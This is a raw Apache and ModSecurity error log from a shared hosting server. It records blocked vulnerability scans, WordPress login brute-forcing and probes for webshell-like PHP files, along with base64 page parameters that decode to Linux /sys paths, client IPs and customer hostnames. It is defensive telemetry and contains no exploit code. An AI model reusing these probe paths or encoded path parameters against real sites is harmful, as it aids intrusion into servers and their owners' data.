https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:07:46.967384 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:46.967763 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:46.977483 2026] [security2:error] [pid 531155:tid 531278] [remote 17.241.75.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w0imiP80klyS0NnrmmAABXHo"] [Sat Jun 13 18:07:47.075733 2026] [access_compat:error] [pid 531797:tid 531941] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMva2VybmVsL2J0Zg== [Sat Jun 13 18:07:47.076175 2026] [access_compat:error] [pid 531797:tid 531941] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMva2VybmVsL2J0Zg== [Sat Jun 13 18:07:47.155755 2026] [security2:error] [pid 531155:tid 531252] [remote 220.181.108.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w0ymiP80klyS0NnrmmwABEWA"] [Sat Jun 13 18:07:47.192772 2026] [security2:error] [pid 531797:tid 532080] [client 20.9.67.71:64657] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/Cap.php"] [unique_id "ai3w08TA7b1mZrmcA-8K5QAAAmY"] [Sat Jun 13 18:07:47.215910 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.31:44772] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:47.216339 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.31:44772] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:47.268189 2026] [security2:error] [pid 531155:tid 531343] [client 172.171.3.232:48129] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/shadow-bot.php"] [unique_id "ai3w0ymiP80klyS0NnrmngAAAUQ"] [Sat Jun 13 18:07:47.404484 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:47.404789 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:47.477370 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:47.477827 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:47.633982 2026] [security2:error] [pid 531797:tid 531953] [remote 17.22.237.116:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 116.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w08TA7b1mZrmcA-8K-AACNFk"] [Sat Jun 13 18:07:47.752087 2026] [security2:error] [pid 531797:tid 532121] [client 148.113.209.179:59462] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w08TA7b1mZrmcA-8LAAAAAo0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:47.832228 2026] [security2:error] [pid 531797:tid 532076] [client 191.234.188.123:63893] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/bkyac.php"] [unique_id "ai3w08TA7b1mZrmcA-8LBgAAAmI"] [Sat Jun 13 18:07:47.884155 2026] [access_compat:error] [pid 531797:tid 531958] [remote 57.141.14.31:44780] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:47.884448 2026] [access_compat:error] [pid 531797:tid 531958] [remote 57.141.14.31:44780] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:47.894723 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:07:47.895013 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:07:47.896541 2026] [security2:error] [pid 531797:tid 532018] [client 216.131.76.241:51715] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.76.131.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "thenerdistheword.ca"] [uri "/index.php/feed/"] [unique_id "ai3w08TA7b1mZrmcA-8LCAAAAio"] [Sat Jun 13 18:07:47.980258 2026] [security2:error] [pid 531797:tid 532038] [client 148.113.209.179:59468] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w08TA7b1mZrmcA-8LDAAAAj0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:47.985522 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMA== [Sat Jun 13 18:07:47.985890 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMA== [Sat Jun 13 18:07:48.209831 2026] [security2:error] [pid 531797:tid 532020] [client 148.113.209.179:59470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w1MTA7b1mZrmcA-8LEgAAAiw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:48.234549 2026] [security2:error] [pid 531797:tid 532120] [client 191.234.188.123:9628] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/vx.php"] [unique_id "ai3w1MTA7b1mZrmcA-8LFQAAAow"] [Sat Jun 13 18:07:48.235006 2026] [security2:error] [pid 531797:tid 532091] [client 216.131.76.241:51755] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.76.131.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "thenerdistheword.ca"] [uri "/index.php/feed/"] [unique_id "ai3w1MTA7b1mZrmcA-8LFgAAAnA"] [Sat Jun 13 18:07:48.341847 2026] [security2:error] [pid 531797:tid 532004] [client 191.233.234.186:44269] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3w1MTA7b1mZrmcA-8LHAAAAhw"] [Sat Jun 13 18:07:48.429690 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L2lk [Sat Jun 13 18:07:48.430116 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L2lk [Sat Jun 13 18:07:48.496625 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNg== [Sat Jun 13 18:07:48.496919 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNg== [Sat Jun 13 18:07:48.525111 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.34:58780] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:48.525396 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.34:58780] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:48.729052 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.80:52859] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:48.729505 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.80:52859] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:48.937698 2026] [security2:error] [pid 531797:tid 532109] [client 148.113.209.179:59478] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w1MTA7b1mZrmcA-8LMgAAAoI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:48.967092 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQ1L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:07:48.967380 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQ1L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:07:49.004947 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.82:39482] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:49.005227 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.82:39482] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:49.024922 2026] [security2:error] [pid 531797:tid 532107] [client 20.151.217.54:61773] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/cakr3xr4.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LNgAAAoA"] [Sat Jun 13 18:07:49.026998 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNg== [Sat Jun 13 18:07:49.027396 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNg== [Sat Jun 13 18:07:49.047581 2026] [security2:error] [pid 531797:tid 532125] [client 20.151.217.54:48163] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/wp-ver.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LOAAAApA"] [Sat Jun 13 18:07:49.052898 2026] [security2:error] [pid 531797:tid 531960] [remote 86.26.71.197:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LNQACNGA"], referer: https://www.torquayfans.com [Sat Jun 13 18:07:49.052922 2026] [security2:error] [pid 531797:tid 531960] [remote 86.26.71.197:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LNQACNGA"], referer: https://www.torquayfans.com [Sat Jun 13 18:07:49.083089 2026] [access_compat:error] [pid 531155:tid 531249] [remote 57.141.14.84:23820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:49.083366 2026] [access_compat:error] [pid 531155:tid 531249] [remote 57.141.14.84:23820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:49.164467 2026] [security2:error] [pid 531797:tid 532090] [client 148.113.209.179:59490] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LOwAAAm8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:49.271199 2026] [security2:error] [pid 531797:tid 532053] [client 172.56.168.133:52165] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LPgAAAks"] [Sat Jun 13 18:07:49.271349 2026] [security2:error] [pid 531797:tid 532053] [client 172.56.168.133:52165] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LPgAAAks"] [Sat Jun 13 18:07:49.276082 2026] [core:error] [pid 531155:tid 531238] [remote 216.73.216.150:0] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:07:49.276110 2026] [core:error] [pid 531155:tid 531238] [remote 216.73.216.150:0] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:07:49.370897 2026] [security2:error] [pid 531797:tid 532117] [client 191.233.234.186:44244] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/Cap.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LQQAAAoo"] [Sat Jun 13 18:07:49.392698 2026] [security2:error] [pid 531797:tid 532022] [client 148.113.209.179:59500] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LQgAAAi4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:49.465131 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: 